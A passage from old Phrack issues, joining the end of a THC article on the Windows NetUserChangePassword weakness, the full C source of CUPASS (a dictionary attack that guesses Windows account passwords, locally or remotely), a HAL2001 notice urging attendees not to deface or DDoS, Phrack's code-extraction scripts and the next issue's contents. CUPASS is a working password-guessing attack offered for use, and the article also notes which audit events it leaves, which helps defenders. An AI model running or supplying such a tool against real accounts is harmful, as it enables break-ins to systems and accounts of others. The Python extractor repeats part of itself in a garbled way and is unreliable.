Surprisingly for some administrators, there appears no log entry if the settings "Audit account logon events" or "Audit logon events" are enabled, if the attack goes to the local machine.

This is e.g. the case if you want to guess the local administrator password of your machine.

If the CUPASS attack comes from remote, log entries ID 681 and ID 529 occures.

Audit Object Access

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If this type of auditing is enabled, and the attack goes to the local machine, an logfile entry with the ID 560 and 562 appears.

ID 560 tells us that someone opened the object

"Security Account Manager" whilst 562 tells us something like "Handle closed"...

Maybe there occure some more logfile entries with other ID's, but these ones listed above are the ones I found while testing CUPASS.

So test CUPASS on your own environment and have a look into your logfiles!

‑‑‑‑| LAST WORDS

I hope this article could give you a little overview about the NetUserChangePassword problem, and Microsoft's inconsequent implementation of security and function calls.

This article could not treat this topic concluding, because there are so many different situations and configurations that I could not test in my short sparetime :)

‑‑‑‑| GREETS

Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac and all the other members from THC, VAX who gives me a lift to HAL2001, the guys from TESO, Seth, Rookie and all the other people knowing me...

The biggest THANX are going to my wife, who missed me nearly the whole weekend while I was writing this article!

Ok, have a nice day and lets meet and party at HAL2001 :)

<++> cupass.cpp !a10c7302

/*

* CUPASS v1.0 (c) 2001 by Doc Holiday / THC <Holiday@TheHackersChoice.com> * http://www.hackerschoice.com

*

* Dictionary Attack against Windows Passwords with NetUserChangePassword. * Do only use for legal purposes.

*

* Compiled and tested on Windows NT/W2K ‑ runs not on Win9x!!

* Compiled with VC++ 6.0

*

*/

#define UNICODE 1

#define _UNICODE 1

#include <windows.h>

#include <lmaccess.h>

#include <stdio.h>

#include <wchar.h>

#pragma comment( lib, "netapi32.lib" )

void wmain( int argc, wchar_t *argv[] )

{

wchar_t *hostname = 0;

wchar_t *username = 0;

wchar_t *dictfile = 0;

wchar_t myChar[256];

NET_API_STATUS result;

FILE *stream;

LPWSTR oldpassword;

if (argc != 4)

{

wprintf (L"\nMissing or wrong parameters!\n"); wprintf (

L"\nUsage: cupass \\\\hostname username dictionaryfile\n"); exit(1);

}

hostname = argv[1];

username = argv[2];

dictfile = argv[3];

if (wcsncmp(hostname, L"\\\\",2 )!=0)

{

wprintf (L"\nups... you forgot the double backslash?"); wprintf (

L"\nUsage: cupass \\\\hostname username dictionaryfile\n"); exit(1);

}

if( (stream = _wfopen( dictfile, L"r" )) == NULL )

{

wprintf( L"\nups... dictionary %s could not be opened", dictfile ); wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n"); }

else

{

wprintf (L"\n*** CUPASS 1.0 ‑ Change User PASSword ‑ by Doc Holiday/THC (c) 2001 ***\n"); wprintf (L"\nStarting attack .....\n");

wprintf (L"\nTarget: %s ", hostname);

wprintf (L"\nUser: %s\n ", username);

while( !feof( stream ) )

{

fgetws (myChar, 256,stream);

if (myChar[wcslen(myChar)‑1] == '\r') myChar[wcslen(myChar)‑1] = '\0'; if (myChar[wcslen(myChar)‑1] == '\n') myChar[wcslen(myChar)‑1] = '\0';

oldpassword = myChar;

wprintf( L"\nTrying password %s \n", oldpassword );

result = NetUserChangePassword( hostname, username,oldpassword, oldpassword );

switch (result)

{

case 0:

wprintf( L"GOTCHA!! Password was changed\n" ); wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword); fclose (stream); exit (1);

break;

case 5: //ERROR_ACCESS_DENIED

wprintf (L"Attempt failed ‑> ERROR_ACCESS_DENIED ‑ \ But password could be %s\n", oldpassword); fclose (stream); exit(1);

break;

case 86: //ERROR_INVALID_PASSWORD

wprintf( L"Attempt failed ‑> Incorrect password\n" ); break;

case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO

wprintf (L"Attempt failed ‑> Can't establish connection to Host %s\n",hostname); fclose (stream); exit(1);

break;

case 1909: //ERROR_ACCOUNT_LOCKED_OUT

wprintf (L"Attempt failed ‑> Account locked out\n"); fclose (stream); exit(1);

break;

case 2221: //NERR_UserNotFound)

wprintf (L"Attempt failed ‑> User %s not found\n", username); fclose (stream); exit(1);

break;

case 2226://NERR_NotPrimary

wprintf (L"Attempt failed ‑> Operation only allowed on PDC\n"); break;

case 2245:

wprintf (L"GOTCHA!! Password is '%s' , but \ couldn't be changed to '%s' due to password policy settings!\n", \ oldpassword, oldpassword);

fclose(stream); exit(1);

break;

default:

wprintf( L"\nAttempt failed :( %lu\n", result ); fclose(stream); exit(1);

break;

}

}

fclose (stream);

}

}

<‑‑> end cupass.cpp

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack World News

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x11 of 0x12

Each phrack release has a special section called 'Phrack World News (PWN)'. The section is a combination of sum‑up's, happenings and rumours.

PWN are the news about and from the scene.

You can send PWN directly to disorder@phrack.org or you can announce your own PWN at http://www.phrack.org/disorder.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ ScRiPt KiDdY MaNuAl To HaL2001 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ HAL Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Cops, Crimes, and HAL 2001 (http://www.hal2001.org)

or ScRiPt KiDdY MaNuAl To HaL2001

When you arrive at HAL2001 and look around you, you may feel this is an ideal place to do script‑kiddie things. I mean: with 1 GB of bandwidth coming almost all the way to your tent, a simple ping‑flood is a mighty weapon. And with all these people around, there's bound to be someone within 10 meters that knows how to get root on that webhosting farm you found this morning.

You may have also noticed all these other people around you. Most of them seem to be in some kind of different world. Most noticably, they're not constantly bragging about how many machines they have installed Stacheldraht on. When they talk about computer security you often don't understand, and they keep talking about vague political things a lot of the time. That's us. We are the rest of the hacker community. Weve been here for a while now, so you would probably just refer to most of us as "these old people". That's OK.

We feel there are important things going on in the world today. Things worth fighting against. Governments and large corporations are basically taking over and are in the process of building mechanisms of control. That may sound difficult or weird, but think of new laws that allow instantaneous monitoring of anyone. Think of computer databases that know where everyone is in realtime. Think of cameras everywhere. Think of making you pay every time, for everything you watch or listen to. Think of your MP3 collection. Think of prison.

‑ Making us all look bad

Hey, let's not kid eachother: we weren't all that good when we were kids. But right now, powerful people all over the world would like to paint a picture of HAL2001 as a gathering of dangerous individuals out to destroy. While it may seem cool to have powerful people think of you as dangerous, you're only serving their purpose if you deface websites from here, or perform the mother of all DDoS attacks. You're helping the hardliners that say we are no good. They don't care about the websites you deface. They don't care about the DDoS attacks. Heck, their leadership doesn't even know how to hold a mouse. They care about making us all look like a threat, so they can get the public support needed to lock us all up.

‑ Landing you in trouble

But if you don't care about any of the above, here's another reason not to do bad things at HAL: there is almost no place on earth where the odds of getting arrested are stacked against you as bad as at HAL2001. Members of the dutch law enforcement community (yes: cops) are attending in large numbers. And public perception is that they haven't arrested enough people for computer crimes recently. So they are under a lot of pressure to arrest someone. Anyone....

Because few people have been convicted here, there is a notion that the cops in The Netherlands do not take this seriously. But defacing a site or doing Denial of Service are serious crimes here, and you may not be going home for quite a while if you're arrested here. Being arrested at HAL makes your case a "big deal", no matter how little may have actually happened. This means they are less likely to let you off with a slap on the wrist.

And if HAL is anything like its predecessors, intelligence people frominternal security agencies of most industrialised nations are walkingaround, and will see if anyone from their country is sticking their head out doing naughty things. HAL is an excellent place to become visible, in many different and often interesting ways.

‑ Getting us all disconnected

Just like at HIP97, the authorities have pre‑signed orders ready and waiting to cut our link to the world if the HAL network becomes a source of too many problems. Yes, you read it right: cut the link. 100% packet loss.

HAL2001 has some of the worlds best system administrators monitoring our link to see if everything runs smooth. Some of these people already had a deep understanding of computer security issues before you were even born. And *ofcourse* they are monitoring to see if anyone is causing problems, either to our own network operations, or to the outside world.

So do us all and yourself a favour, and please don't be stupid. And if you still insist on causing trouble, think of this: if you do manage to get us all diconnected, maybe you should hope the cops get to you first.

‑ Growing up

If you have it in you, now would be an excellent time to grow up. Live a life in the hacker community that goes beyond defacing websites and performing dDoS attacks. The post script‑kiddie existence offers many rewards: you might have feeling you've done something useful more often, people won't look at you funny, and you might even get to meet girls.

Perhaps even more importantly: we as a community _need_ you to grow up. As we said: Governments and large corporations are taking control of our world at alarming speed. Hackers are more likely to understand what's going on, and to do something about it. Which is one reason why they are being demonized by parties seeking to monitor the whole population's every move. Many privacy enhancing technologies still need to be built, and a whole new generation needs to be made aware that their freedoms are being dismantled. Your help would be greatly appreciated.

|=[ Fun ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

http://www.microsoft.com/office/clippy/images/rollover_4.gif

N0 L0GZ == N0 CRIME !

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack magazine extraction utility

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x12 of 0x12

|=‑‑‑‑‑‑‑‑=[ P H R A C K E X T R A C T I O N U T I L I T Y ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

The Phrack Magazine Extraction Utility, first appearing in P50, is a convenient way to extract code from textual ASCII articles. It preserves readability and 7‑bit clean ASCII codes. As long as there are no extraneous "<++>" or <‑‑>" in the article, everything runs swimmingly.

Source and precompiled version (windows, unix, ...) is available at http://www.phrack.org/misc.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> p56/EX/PMEU/extract4.c !8e2bebc6

/*

* extract.c by Phrack Staff and sirsyko

*

* Copyright (c) 1997 ‑ 2000 Phrack Magazine

*

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*

* extract.c

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory structure. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* Extraction tags are of the form:

*

* host:~> cat testfile

* irrelevant file contents

* <++> path_and_filename1 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filename2 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filenamen !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* EOF

*

* The `!CRC` is optional. The filename is not. To generate crc32 values * for your files, simply give them a dummy value initially. The program * will attempt to verify the crc and fail, dumping the expected crc value. * Use that one. i.e.:

*

* host:~> cat testfile

* this text is ignored by the program

* <++> testarooni !12345678

* text to extract into a file named testarooni

* as is this text

* <‑‑>

*

* host:~> ./extract testfile

* Opened testfile

* ‑ Extracting testarooni

* crc32 failed (12345678 != 4a298f18)

* Extracted 1 file(s).

*

* You would use `4a298f18` as your crc value.

*

* Compilation:

* gcc ‑o extract extract.c

*

* ./extract file1 file2 ... filen

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <string.h>

#include <dirent.h>

#include <fcntl.h>

#include <unistd.h>

#include <errno.h>

#define VERSION "7niner.20000430 revsion q"

#define BEGIN_TAG "<++> "

#define END_TAG "<‑‑>"

#define BT_SIZE strlen(BEGIN_TAG)

#define ET_SIZE strlen(END_TAG)

#define EX_DO_CHECKS 0x01

#define EX_QUIET 0x02

struct f_name

{

u_char name[256];

struct f_name *next;

};

unsigned long crcTable[256];

void crcgen()

{

unsigned long crc, poly;

int i, j;

poly = 0xEDB88320L;

for (i = 0; i < 256; i++)

{

crc = i;

for (j = 8; j > 0; j‑‑)

{

if (crc & 1)

{

crc = (crc >> 1) ^ poly;

}

else

{

crc >>= 1;

}

}

crcTable[i] = crc;

}

}

unsigned long check_crc(FILE *fp)

{

register unsigned long crc;

int c;

crc = 0xFFFFFFFF;

while( (c = getc(fp)) != EOF )

{

crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF]; }

if (fseek(fp, 0, SEEK_SET) == ‑1)

{

perror("fseek");

exit(EXIT_FAILURE);

}

return (crc ^ 0xFFFFFFFF);

}

int

main(int argc, char **argv)

{

char *name;

u_char b[256], *bp, *fn, flags;

int i, j = 0, h_c = 0, c;

unsigned long crc = 0, crc_f = 0;

FILE *in_p, *out_p = NULL;

struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;

while ((c = getopt(argc, argv, "cqv")) != EOF)

{

switch (c)

{

case 'c':

flags |= EX_DO_CHECKS;

break;

case 'q':

flags |= EX_QUIET;

break;

case 'v':

fprintf(stderr, "Extract version: %s\n", VERSION); exit(EXIT_SUCCESS);

}

}

c = argc ‑ optind;

if (c < 2)

{

fprintf(stderr, "Usage: %s [‑cqv] file1 file2 ... filen\n", argv[0]); exit(0);

}

/*

* Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */

for (i = 1; (fn = argv[i++]); )

{

if (!head)

{

if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

strncpy(head‑>name, fn, sizeof(head‑>name)); head‑>next = NULL;

fn_p = head;

}

else

{

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

strncpy(fn_p‑>name, fn, sizeof(fn_p‑>name)); fn_p‑>next = NULL;

}

}

/*

* Sentry node.

*/

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

fn_p‑>next = NULL;

/*

* Check each file in the f_name list for extraction tags. */

for (fn_p = head; fn_p‑>next; )

{

if (!strcmp(fn_p‑>name, "‑"))

{

in_p = stdin;

name = "stdin";

}

else if (!(in_p = fopen(fn_p‑>name, "r")))

{

fprintf(stderr, "Could not open input file %s.\n", fn_p‑>name); fn_p = fn_p‑>next;

continue;

}

else

{

name = fn_p‑>name;

}

if (!(flags & EX_QUIET))

{

fprintf(stderr, "Scanning %s...\n", fn_p‑>name); }

crcgen();

while (fgets(b, 256, in_p))

{

if (!strncmp(b, BEGIN_TAG, BT_SIZE))

{

b[strlen(b) ‑ 1] = 0; /* Now we have a string. */

j++;

crc = 0;

crc_f = 0;

if ((bp = strchr(b + BT_SIZE + 1, '/'))) {

while (bp)

{

*bp = 0;

if (mkdir(b + BT_SIZE, 0700) == ‑1 && errno != EEXIST) { perror("mkdir"); exit(EXIT_FAILURE); }

*bp = '/';

bp = strchr(bp + 1, '/');

}

}

if ((bp = strchr(b, '!')))

{

crc_f =

strtoul((b + (strlen(b) ‑ strlen(bp)) + 1), NULL, 16); b[strlen(b) ‑ strlen(bp) ‑ 1 ] = 0; h_c = 1;

}

else

{

h_c = 0;

}

if ((out_p = fopen(b + BT_SIZE, "wb+"))) {

fprintf(stderr, ". Extracting %s\n", b + BT_SIZE); }

else

{

printf(". Could not extract anything from '%s'.\n", b + BT_SIZE);

continue;

}

}

else if (!strncmp (b, END_TAG, ET_SIZE))

{

if (out_p)

{

if (h_c == 1)

{

if (fseek(out_p, 0l, 0) == ‑1) { perror("fseek"); exit(EXIT_FAILURE); }

crc = check_crc(out_p); if (crc == crc_f && !(flags & EX_QUIET)) { fprintf(stderr, ". CRC32 verified (%08lx)\n", crc); }

else

{

if (!(flags & EX_QUIET))

{

fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n",

crc_f, crc);

}

}

}

fclose(out_p);

}

else

{

fprintf(stderr, ". `%s` had bad tags.\n", fn_p‑>name); continue;

}

}

else if (out_p)

{

fputs(b, out_p);

}

}

if (in_p != stdin)

{

fclose(in_p);

}

tmp = fn_p;

fn_p = fn_p‑>next;

free(tmp);

}

if (!j)

{

printf("No extraction tags found in list.\n");

}

else

{

printf("Extracted %d file(s).\n", j);

}

return (0);

}

/* EOF */

<‑‑>

<++> p56/EX/PMEU/extract.pl !1a19d427

# Daos <daos@nym.alias.net>

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

<++> p56/EX/PMEU/extract.awk !26522c51

#!/usr/bin/awk ‑f

#

# Yet Another Extraction Script

# ‑ <sirsyko>

#

/^\<\+\+\>/ {

ind = 1

File = $2

split ($2, dirs, "/")

Dir="."

while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind]

system ("mkdir " Dir" 2>/dev/null") ++ind

}

next

}

/^\<\‑\‑\>/ {

File = ""

next

}

File { print >> File }

<‑‑>

<++> p56/EX/PMEU/extract.sh !a81a2320

#!/bin/sh

# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko> #

# note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :)

# Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt

#

# Usage: ./extract.sh <filename>

cat $* | (

Working=1

while [ $Working ];

do

OLDIFS1="$IFS"

IFS=

if read Line; then

IFS="$OLDIFS1"

set ‑‑ $Line

case "$1" in

"<++>") OLDIFS2="$IFS" IFS=/

set ‑‑ $2 IFS="$OLDIFS2" while [ $# ‑gt 1 ]; do

File=${File:‑"."}/$1

if [ ! ‑d $File ]; then

echo "Making dir $File"

mkdir $File

fi

shift

done

File=${File:‑"."}/$1 echo "Storing data in $File" ;;

"<‑‑>") if [ "x$File" != "x" ]; then

unset File

fi ;;

*) if [ "x$File" != "x" ]; then

IFS=

echo "$Line" >> $File

IFS="$OLDIFS1"

fi

;;

esac

IFS="$OLDIFS1"

else

echo "End of file"

unset Working

fi

done

)

<‑‑>

<++> p56/EX/PMEU/extract.py !83f65f60

#! /bin/env python

# extract.py Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:

"""Looks like a file, but doesn't do anything."""

def write(self, data): pass

def close(self): pass

def extract(input, verbose = 1):

"""Read a file from input until we find the end token."""

if type(input) == type('string'):

fname = input

try: input = open(fname)

except IOError, (errno, why):

print "Can't open %s: %s" % (fname, why) return errno

else:

fname = '<file descriptor %d>' % input.fileno()

inside_embedded_file = 0

linecount = 0

line = input.readline()

while line:

if not inside_embedded_file and line[:4] == '<++>':

inside_embedded_file = 1

linecount = 0

filename = string.strip(line[4:])

if mkdirs_if_any(filename) != 0:

pass

try: output = open(filename, 'w')

except IOError, (errno, why):

print "Can't open %s: %s; skipping file" % (filename, why) output = Datasink()

continue

if verbose:

print 'Extracting embedded file %s from %s...' % (filename,

fname),

elif inside_embedded_file and line[:4] == '<‑‑>': output.close()

inside_embedded_file = 0

if verbose and not isinstance(output, Datasink): print '[%d lines]' % linecount

elif inside_embedded_file:

output.write(line)

# Else keep looking for a start token.

line = input.readline()

linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):

"""Check for existance of /'s in filename, and make directories."""

path, file = os.path.split(filename)

if not path: return

errno = 0

start = os.getcwd()

components = string.split(path, os.sep)

for dir in components:

if not os.path.exists(dir):

try:

os.mkdir(dir)

if verbose: print 'Created directory', path

except os.error, (errno, why):

print "Can't make directory %s: %s" % (dir, why) break

try: os.chdir(dir)

except os.error, (errno, why):

print "Can't cd to directory %s: %s" % (dir, why) break

os.chdir(start)

return errno

def usage():

"""Blah."""

die('Usage: extract.py [‑V] filename [filename...]')

def main():

try: optlist, args = getopt.getopt(sys.argv[1:], 'V') except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = ['‑v', filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass

except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = [filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass # No messy traceback. <‑‑>

<++> p56/EX/PMEU/extract‑win.c !e519375d

/***************************************

/* WinExtract

/*

/* Written by Fotonik <fotonik@game‑master.com>. */

/*

/* Coding of WinExtract started on 22aug98. */

/*

/* This version (1.0) was last modified on 22aug98. */

/*

/* This is a Win32 program to extract text files from a specially tagged */

/* flat file into a hierarchical directory structure. Use to extract */

/* source code from articles in Phrack Magazine. The latest version of */

/* this program (both source and executable codes) can be found on my */

/* website: http://www.altern.com/fotonik */

/***************************************

#include <stdio.h>

#include <string.h>

#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst, LPSTR lpszArgs, int nWinMode)

{

OPENFILENAME OpenFile; /* Structure for Open common dialog box */

char InFileName[256]="";

char OutFileName[256];

char Title[]="WinExtract ‑ Choose a file to extract files from."; FILE *InFile;

FILE *OutFile;

char Line[256];

char DirName[256];

int FileExtracted=0; /* Flag used to determine if at least one file was */

int i; /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME)); OpenFile.lStructSize=sizeof(OPENFILENAME); OpenFile.hwndOwner=HWND_DESKTOP;

OpenFile.hInstance=hThisInst;

OpenFile.lpstrFile=InFileName; OpenFile.nMaxFile=sizeof(InFileName)‑1;

OpenFile.lpstrTitle=Title;

OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))

{

if((InFile=fopen(InFileName,"r"))==NULL)

{

MessageBox(NULL,"Could not open file.",NULL,MB_OK); return 0;

}

/* If we got here, InFile is opened. */

while(fgets(Line,256,InFile))

{

if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */

{

Line[strlen(Line)‑1]='\0'; strcpy(OutFileName,Line+5);

/* Check if a dir has to be created and create one if necessary */

for(i=strlen(OutFileName)‑1;i>=0;i‑‑)

{ if((OutFileName[i]=='\\')||(OutFileName[i]=='/')) {

strncpy(DirName,OutFileName,i); DirName[i]='\0'; PowerCreateDirectory(DirName); break;

}

}

if((OutFile=fopen(OutFileName,"w"))==NULL)

{

MessageBox(NULL,"Could not create file.",NULL,MB_OK); fclose(InFile);

return 0;

}

/* If we got here, OutFile can be written to */

while(fgets(Line,256,InFile))

{

if(strncmp(Line,"<‑‑>",4)) /* If line doesn't begin w/ "<‑‑>" */

{

fputs(Line, OutFile);

}

else

{

break;

}

}

fclose(OutFile);

FileExtracted=1;

}

}

fclose(InFile);

if(FileExtracted)

{

MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK); }

else

{

MessageBox(NULL,"Nothing to extract.","Warning",MB_OK); }

}

return 1;

}

/* PowerCreateDirectory is a function that creates directories that are */

/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */

void PowerCreateDirectory(char *DirectoryName)

{

int i;

int DirNameLength=strlen(DirectoryName);

char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */

{ /* create '/' */

if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')|| (i==DirNameLength‑1))

{

strncpy(DirToBeCreated,DirectoryName,i+1); DirToBeCreated[i+1]='\0'; CreateDirectory(DirToBeCreated,NULL);

}

}

}

<‑‑>

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

58

- Introduction by Phrack Staff

- Phrack Loopback by Phrack Staff

- Phrack Signalnoise by Phrack Staff

- Advanced return-into-lib(c) exploits (PaX case study) by nergal

- Runtime binary encryption by scut & grugq

- Advances in kernel hacking by palmers

- Linux on-the-fly kernel patching without LKM by devik & sd

- Linux x86 kernel function hooking emulation by mayhem

- RPC without borders by stealth

- Developing StrongARM/Linux shellcode by funkysh

- HP-UX (PA-RISC 1.1) Overflows by Zhodiac

- The Security of Vita Vuova's Inferno OS by dalai

- Phrack World News by Phrack Staff

- Phrack magazine extraction utility by Phrack Staff

Introduction

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x01 of 0x0e

,

, |\ ,__

|\ \/ `.

\ `‑.:. `\

`‑.__ `\=====|

/=`'/ ^_\ //==// // // //==

.' /\ .=) //==// //==// //==/

.‑' .'| '‑(/_| // // // // ||

.' __( \ .'`

/_.'` `. |`

jgs \ |

|/

+++ *Weep Weep Weep* Skybird, this is Dropkick with a red dash alpha message +++ in two parts. ‑Break, break. Red dash alpha.

+++ Romeo‑Oscar‑November‑Charlie‑Tango‑Tango‑Lima‑Alpha

+++ Authentication two‑two‑zero‑zero‑four‑zero‑delta‑lime.

I have a valid message. Stand by

to authenticate. I agree with authentication also, sir.

Entering launch code: DLG‑2209‑TVX

Launch code confirmed.

Holy shit!

All right lets do it. Enable missiles. Target selection............. complete.

Time on target selection..... complete.

Yield selection.............. complete.

I need to get someone at the phone. Number one enabled, two, three, four, SAC. Try SAW HQ on the HF. five, ..ten. All missiles enabled.

That's not the correct procedure.

Screw the procedure. I want somebody

on the goddamn phone before I kill

20 million SIR. We have a launch order. Put your

hand on the key, sir!

I'm sorry. I'm so sorry. SIR! We are at launch ‑ TURN

YOUR KEY, sir!

c) Wargames

|=[ Table of Contents ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0x01 Introduction Phrack Staff 0x08 kb

0x02 Loopback Phrack Staff 0x0b kb

0x03 Signalnoise Phrack Staff 0x18 kb

0x04 Advanced return‑into‑lib(c) exploits (PaX case study) nergal 0x48 kb 0x05 Runtime binary encryption grugq & scut 0x61 kb 0x06 Advances in kernel hacking palmers 0x1d kb 0x07 Linux on‑the‑fly kernel patching without LKM sd & devik 0x95 kb 0x08 Linux x86 kernel function hooking emulation mayhem 0x1a kb

0x09 RPC without borders stealth 0x10 kb

0x0a Developing StrongARM/Linux shellcode funkysh 0x11 kb 0x0b HP‑UX (PA‑RISC 1.1) Overflows zhodiac 0x16 kb 0x0c The Security of Vita Vuova's Inferno OS dalai 0x11 kb

0x0d Phrack World News Phrack Staff 0x0c kb

0x0e Phrack magazine extraction utility Phrack Staff 0x15 kb

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This phrack issue, as well as the last two, comes without a prophile. This situation will not change unless we find someone who is worth a prophile.

The latest and all previous phrack issues are available online at http://www.phrack.org. Readers without web access can subscribe to the

phrack‑distrib mailinglist. Every new phrack is sent as email attachment to this list ‑ shouts to the monkeys at nasa.gov who complained about their network situation (email only) but did not want to miss the latest phrack. A new phrack issue (without the attachment) is announced on the announcement mailinglist.

To subscribe to the announcement mailinglist:

$ mail announcement‑subscribe@lists.phrack.org < /dev/null

To subscribe to the distribution mailinglist:

$ mail distrib‑subscribe@lists.phrack.org < /dev/null

To retrieve older issues (must subscribe first):

$ mail distrib‑index@lists.phrack.org < /dev/null

